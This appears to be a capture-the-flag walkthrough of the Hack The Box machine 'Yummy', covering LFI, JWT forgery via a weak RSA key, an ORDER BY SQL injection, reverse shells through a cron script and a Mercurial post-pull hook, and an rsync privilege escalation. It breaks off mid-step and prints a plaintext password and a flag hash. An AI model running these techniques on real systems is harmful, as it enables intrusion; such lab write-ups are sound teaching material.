Yummy is a hard-difficulty machine from Hack The Box dealing initially with an LFI exploit that’ll allow us to read cron jobs to be able to craft a custom admin JWT token and exploit an SQLI on the admin dashboard. Later we’ll do some creds exfiltration to move laterally and leverage the hg Mercurial version control to move laterally once again to finally abuse rsync to land a root shell.
Yummy-info-card
Reconnaissance
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
PS C:\Users\0xkujen> nmap -A-Pn10.129.192.97 Starting Nmap 7.95 ( https://nmap.org ) at 2025-02-2115:45 W. Central Africa Standard Time Nmap scan report for yummy.htb (10.129.192.97) Host is up (0.39s latency). Not shown: 998 filtered tcp ports (no-response) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.5 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 256 a2:ed:65:77:e9:c4:2f:13:49:19:b0:b8:09:eb:56:36 (ECDSA) |_ 256 bc:df:25:35:5c:97:24:f2:69:b4:ce:60:17:50:3c:f0 (ED25519) 80/tcp open http Caddy httpd |_http-server-header: Caddy |_http-title: Yummy Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in62.01 seconds
We can see that we have our usual ssh port and a web app deployed on port 80.
# /etc/crontab: system-wide crontab # Unlike any other crontab you don't have to run the `crontab' # command to install the new version when you edit this file # and files in /etc/cron.d. These files also have username fields, # that none of the other crontabs do.
SHELL=/bin/sh # You can also override PATH, but by default, newer versions inherit it from the environment #PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
# Example of job definition: # .---------------- minute (0 - 59) # | .------------- hour (0 - 23) # | | .---------- day of month (1 - 31) # | | | .------- month (1 - 12) OR jan,feb,mar,apr ... # | | | | .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat # | | | | | # * * * * * user-name command to be executed 17 * * * * root cd / && run-parts --report /etc/cron.hourly 25 6 * * * root test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.daily; } 47 6 * * 7 root test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.weekly; } 52 6 1 * * root test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.monthly; } # */1 * * * * www-data /bin/bash /data/scripts/app_backup.sh */15 * * * * mysql /bin/bash /data/scripts/table_cleanup.sh * * * * * mysql /bin/bash /data/scripts/dbmonitor.sh
We can see that there’s and interesting /data/scripts/app_backup.sh , let’s check it out:
1 2 3 4 5 6 7
#!/bin/bash
cd /var/www /usr/bin/rm backupapp.zip /usr/bin/zip -r backupapp.zip /opt/app
Let’s then download backupapp and see what it has for us:
Source Code
One interesting thing is a signature.py script that’s being used:
from Crypto.PublicKey import RSA from cryptography.hazmat.backends import default_backend from cryptography.hazmat.primitives import serialization import sympy
# Generate RSA key pair q = sympy.randprime(2**19, 2**20) n = sympy.randprime(2**1023, 2**1024) * q e = 65537 p = n // q phi_n = (p - 1) * (q - 1) d = pow(e, -1, phi_n) key_data = {'n': n, 'e': e, 'd': d, 'p': p, 'q': q} key = RSA.construct((key_data['n'], key_data['e'], key_data['d'], key_data['p'], key_data['q'])) private_key_bytes = key.export_key()
defadmindashboard(): validation = validate_login() if validation != "administrator": return redirect(url_for('login')) try: connection = pymysql.connect(**db_config) with connection.cursor() as cursor: sql = "SELECT * from appointments" cursor.execute(sql) connection.commit() appointments = cursor.fetchall()
search_query = request.args.get('s', '')
# added option to order the reservations order_query = request.args.get('o', '')
sql = f"SELECT * FROM appointments WHERE appointment_email LIKE %s order by appointment_date {order_query}" cursor.execute(sql, ('%' + search_query + '%',)) connection.commit() appointments = cursor.fetchall() connection.close() return render_template('admindashboard.html', appointments=appointments) except Exception as e: flash(str(e), 'error') return render_template('admindashboard.html', appointments=appointments)
We can see that the order_query has no kind of filtering, SQLI then?
SQL Injection on order_query -> RCE
There was one more interesting file that we could check using the LFI which is /data/scripts/dbmonitor.sh: this script checks if the dbstatus.json file exists and if it exists AND does not contain database is down, it executes ``/bin/bash “$latest_version” where: latest_version=$(/usr/bin/ls -1 /data/scripts/fixer-v* 2>/dev/null | /usr/bin/sort -V | /usr/bin/tail -n 1) So it will execute that code if write such a file there and write anything other than “database is down” to /data/scripts/dbstatus.json.
connect to [10.10.16.8] from (UNKNOWN) [10.129.195.32] 42268 sh: 0: can't access tty; job control turned off $ id uid=33(www-data) gid=33(www-data) groups=33(www-data) $
Doing some guessy enumeration on the directory I’m in I find qa’s password:
qa:jPAd!XQCtn8Oc@2B We ssh to it and we get our user flag:
1 2 3 4 5
qa@yummy:~$ id uid=1001(qa) gid=1001(qa) groups=1001(qa) qa@yummy:~$ cat user.txt 1e45a3b6600f0a493c9c78643e2c01d5 qa@yummy:~$
Privilege Escalation
Seeing what we can run as sudo using qa:
1 2 3 4 5 6 7 8
qa@yummy:~$ sudo -l [sudo] password for qa: Matching Defaults entries for qa on localhost: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User qa may run the following commands on localhost: (dev : dev) /usr/bin/hg pull /home/dev/app-production/ qa@yummy:~$
We can see that we can run /usr/bin/hg which is the executable for Mercurial, a distributed version control system.
So what I’ll do now with this is creating a local .hg directory in /tmp and ensure it is writable ->Copy and edit the Mercurial configuration file (.hg/hgrc) to include a malicious hook -> Prepare a reverse shell script (/tmp/revshell.sh) that initiates an outbound connection to my local machine -> Trigger the hook by running a Mercurial command (hg pull) as the dev user, which causes the reverse shell script to execute:
qa@yummy:/tmp$ mkdir .hg qa@yummy:/tmp$ chmod 777 .hg qa@yummy:/tmp$ cp ~/.hgrc .hg/hgrc qa@yummy:/tmp$ cat .hg/hgrc # example user config (see 'hg help config' for more info) [ui] # name and email, e.g. # username = Jane Doe <jdoe@example.com> username = qa
# We recommend enabling tweakdefaults to get slight improvements to # the UI over time. Make sure to set HGPLAIN in the environment when # writing scripts! # tweakdefaults = True
# uncomment to disable color in command output # (see 'hg help color' for details) # color = never
# uncomment to disable command output pagination # (see 'hg help pager' for details) # paginate = never
[extensions] # uncomment the lines below to enable some popular extensions # (see 'hg help extensions' for more info) # # histedit = # rebase = # uncommit = [trusted] users = qa, dev groups = qa, dev qa@yummy:/tmp$ nano .hg/hgrc qa@yummy:/tmp$ nano revshell.sh qa@yummy:/tmp$ chmod +x revshell.sh qa@yummy:/tmp$ sudo -u dev /usr/bin/hg pull /home/dev/app-production/ pulling from /home/dev/app-production/ searching for changes no changes found
I added
1 2
[hooks] post-pull = /tmp/revshell.sh
to the config file And we got a callback:
1 2 3 4 5 6 7 8 9
PS C:\Users\0xkujen> nc -lvnp 9001 listening on [any] 9001 ... connect to [10.10.16.8] from (UNKNOWN) [10.129.195.32] 43992 I'm out of office until February 22th, don't call me dev@yummy:/tmp$ id id uid=1000(dev) gid=1000(dev) groups=1000(dev) dev@yummy:/tmp$
As dev, we can run this command as root:
1 2 3 4 5 6 7 8
dev@yummy:/tmp$ sudo -l sudo -l Matching Defaults entries for dev on localhost: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User dev may run the following commands on localhost: (root : root) NOPASSWD: /usr/bin/rsync -a --exclude\=.hg /home/dev/app-production/* /opt/app/ dev@yummy:/tmp$
rsync is a powerful tool widely used for synchronizing files and directories either locally or between remote systems.
A direct privesc idea I got is to copy the bash binary to the app-production folder and run the rsync command on with the chown flag and then executes it with high privs: